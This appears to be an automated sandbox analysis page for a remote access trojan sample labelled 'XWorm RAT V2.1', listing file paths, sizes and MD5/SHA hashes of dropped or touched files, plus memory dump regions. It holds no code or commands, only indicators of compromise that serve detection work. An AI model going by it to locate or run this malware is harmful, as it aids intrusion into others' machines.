b7ba131e9959f2f76aa3008711db9e6f2c4753a232140368be5c8388ab0e25154a31e579ef87fe01a3e4bc83402170bb9fbf242c6f01528455246b793e03fdfb

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe

Filesize
2.2MB

MD5
835f081566e31c989b525bccb943569c

SHA1
71d04e0a86ce9585e5b7a058beb0a43cf156a332

SHA256
ea9258e9975b8925a739066221d996aef19b4ef4f4c91524f82e39d403f25579

SHA512
9ec58f8c586ecf78ef8d75debc5dba58544558566423a634724bb5ab192aaf64f9ccbee9a5af48124a3366b2a7d24b4db71bb5743978201b881c08bad8f6fb0c

Download Submit
C:\Windows\System32\perfc007.dat

Filesize
49KB

MD5
bb5474bccbb94116980a42956a4ab09d

SHA1
5aa05e56c1297ba52c4211c0aa1a730e95697cdf

SHA256
b2d0325b67d7d1691ea5b4deda1d1e411f2834af9ebeeee1298081ed8fdd670d

SHA512
4edfff9fb5a1f8d0421579cf709e56ccc8f8bec34e8f6ad51a8c8019ec98810b8c3a9c8e6ab67788a62ba2ca117634763e1f1a4fa2e27f2cf33c3133211ee706

Download Submit
C:\Windows\System32\perfc00A.dat

Filesize
51KB

MD5
70c7ba068b82106810720fdec5406762

SHA1
744c05ee14ea69e9706a07967b4ca1597298729d

SHA256
f3fccee564956fd81a1bba3477a18b04197bccf5efa057713c92a77b266c7b33

SHA512
14bb6e89946abcc10f640e2d553623b319c829e31ff872be0976c3d0419bc8ac656e4774333d4040df9507f064e9f92347677f4b20c66317fffaabed5bb1c4b4

Download Submit
C:\Windows\System32\perfc00C.dat

Filesize
47KB

MD5
391168ff06e8d68c7a6f90c1ccb088be

SHA1
c3f8c12481c9d3559e8df93ade8f5bfefd271627

SHA256
7f2847cbf10a70dec0bfb78ca1bf2e548caa8de43deb290cc21d4d1a47bd7525

SHA512
71fe34a07a2107c03fc4735ca78814adc1c55ee3362ce01d6b9983b0ac52315485135b58edecbcd67252c1e27a451138a765bdf3f746e1241834cf35106520c6

Download Submit
C:\Windows\System32\perfc010.dat

Filesize
46KB

MD5
9c127d90b405f6e4e98e60bb83285a93

SHA1
358b36827fb8dbfd9f268d7278961ae3309baaa1

SHA256
878a012b076c81d7b46068109d9b9e1a86aa8527d87d0baee47b59b07502c578

SHA512
bd80bb82e6f2375107153b7da67ce4a3ab3d457103a8371f93e130edece21791d8a716ab9793b74c6b5ab10166ccb52aee430bc4b63403b7e4749d7db9929e73

Download Submit
C:\Windows\System32\perfc011.dat

Filesize
35KB

MD5
17fc81a0e3f9fc02821e40166f1cb09f

SHA1
2931659b064a216371420db215b1f48de29a1858

SHA256
fe933b8ae9d8fb3283a76b42cfed31be01d02c91cd7ba742b399df613762fff2

SHA512
19a93f08124962c9826cb6794b897ddc3dd3391e2b24cebd70c2a8027aa082d2b65f2d92ba438684d6e0490f1dabb714bcb17561b951807589c5ce920f2e6031

Download Submit
C:\Windows\System32\perfh007.dat

Filesize
320KB

MD5
b9a5000ea316ac348cf77beb0e5bc379

SHA1
4e666af14169eb10a0a08ac2f5ed5ecf4764df46

SHA256
1b25a6879c667258cdb900683004ef007c6b3a1a933d823b124d9a6acf9de608

SHA512
9fd911586a0aebec11c48e9f78de3b3f6e41c98a2770f5ac10d0a3947b4b3f326a8c5028c478c8634fb84a071186606e69a7aff83b1cf972d4728e3923503118

Download Submit
C:\Windows\System32\perfh009.dat

Filesize
310KB

MD5
1ad05e460c6fbb5f7b96e059a4ab6cef

SHA1
1c3e4e455fa0630aaa78a1d19537d5ff787960cf

SHA256
0ae16c72ca5301b0f817e69a4bac29157369ecfbadc6c13a5a37db5901238c71

SHA512
c608aa10b547003b25ff63bb1999a5fff0256aadd8b005fdd26569a9828d3591129a0f21c11ec8e5d5f390b11c49f2ef8a6e36375c9e13d547415e0ec97a398f

Download Submit
C:\Windows\System32\perfh00A.dat

Filesize
360KB

MD5
1402add2a611322eb6f624705c8a9a4e

SHA1
d08b0b5e602d4587e534cf5e9c3d04c549a5aa47

SHA256
0ac43c8e77edb2c1468420653fc5d505b26cdc4da06c4121ce4bbecae561e6cb

SHA512
177d5ea7e77eee154042b5e064db67a5cac9435890a2ff65cd98da21433f4e7de743e9df22ac0ac61be89fc0be8655b46454ed4a930d13fc7c1dfebe5896781f

Download Submit
C:\Windows\System32\perfh00C.dat

Filesize
363KB

MD5
d0a8d13996333367f0e1721ca8658e00

SHA1
f48f432c5a0d3c425961e6ed6291ddb0f4b5a116

SHA256
68a7924621a0fbc13d0ea151617d13732a991cef944aae67d44fc030740a82e9

SHA512
8a68c62b5fc983975d010ae6504a1cbfdf34d5656e3277d9a09eb92929e201e27ca7bd2030740c8240a4afd56af57c223b4fd6de193bedf84ac7238777310de4

Download Submit
C:\Windows\System32\perfh010.dat

Filesize
353KB

MD5
a5389200f9bbc7be1276d74ccd2939b4

SHA1
8d6f17c7d36f686e727b6e7b3a62812297228943

SHA256
494db162e2ccd95e69404a34170b6e59847f444881834f3c175c6bc70d783087

SHA512
fc1d1e81362d186410b4af3d6add3c8b32fdd75ea79b7e868cc16615358264af04f47170229d32dffcbf7e1ba2b841ccd2d4f27b0f8d82a0685806c22d3d0a92

Download Submit
C:\Windows\System32\perfh011.dat

Filesize
158KB

MD5
41f2dbe6f02b3bb9802d60f10b4ef7a2

SHA1
f1b03d28e5be3db3341f3a399d1cc887fe8da794

SHA256
eca01d5405d7e8af92ea60f888f891415ea2e1e6484caff15cbaf5a645700db2

SHA512
1c7b85e12050d670d48121e7670e1dab787e0a0b134e0ab314dc571c3969d0f9652ff76666bb433aac5886ca532404963a3041a1d4b4352e3051c838965fd3b1

Download Submit
memory/3804-138-0x0000000006110000-0x00000000066B4000-memory.dmp

Filesize
5.6MB

Download
memory/3804-137-0x0000000000E50000-0x0000000001092000-memory.dmp

Filesize
2.3MB

Download
memory/3804-136-0x000000007466E000-0x000000007466F000-memory.dmp

Filesize
4KB

Download
memory/3996-183-0x00000228C70E0000-0x00000228C7102000-memory.dmp

Filesize
136KB

Download
memory/3996-206-0x00000228C80E0000-0x00000228C80F2000-memory.dmp

Filesize
72KB

Download
memory/3996-187-0x00000228C7D90000-0x00000228C80BE000-memory.dmp

Filesize
3.2MB

Download
memory/3996-186-0x00000228C7110000-0x00000228C7136000-memory.dmp

Filesize
152KB

Download
memory/3996-185-0x00000228C7D50000-0x00000228C7D8A000-memory.dmp

Filesize
232KB

Download
memory/3996-182-0x00000228C7090000-0x00000228C70E0000-memory.dmp

Filesize
320KB

Download
memory/3996-181-0x00000228C6F90000-0x00000228C7042000-memory.dmp

Filesize
712KB

Download
memory/3996-179-0x00000228C6D20000-0x00000228C6D8A000-memory.dmp

Filesize
424KB

Download
memory/4580-167-0x0000000009C00000-0x0000000009C66000-memory.dmp

Filesize
408KB

Download
memory/4580-158-0x00000000060B0000-0x0000000006106000-memory.dmp

Filesize
344KB

Download
memory/4580-157-0x0000000005E50000-0x0000000005E5A000-memory.dmp

Filesize
40KB

Download
memory/4580-156-0x0000000005EE0000-0x0000000005F72000-memory.dmp

Filesize
584KB

Download
memory/4580-155-0x0000000005DA0000-0x0000000005E3C000-memory.dmp

Filesize
624KB

Download
memory/4580-150-0x0000000000EA0000-0x0000000001532000-memory.dmp

Filesize
6.6MB

Download
memory/4776-168-0x000002766C4D0000-0x000002766C4DA000-memory.dmp

Filesize
40KB

Download
memory/4776-166-0x000002766C4B0000-0x000002766C4CE000-memory.dmp

Filesize
120KB

Download
memory/4776-165-0x000002766CC40000-0x000002766CCB6000-memory.dmp

Filesize
472KB

Download
memory/4776-159-0x000002766A1F0000-0x000002766A792000-memory.dmp

Filesize
5.6MB

Download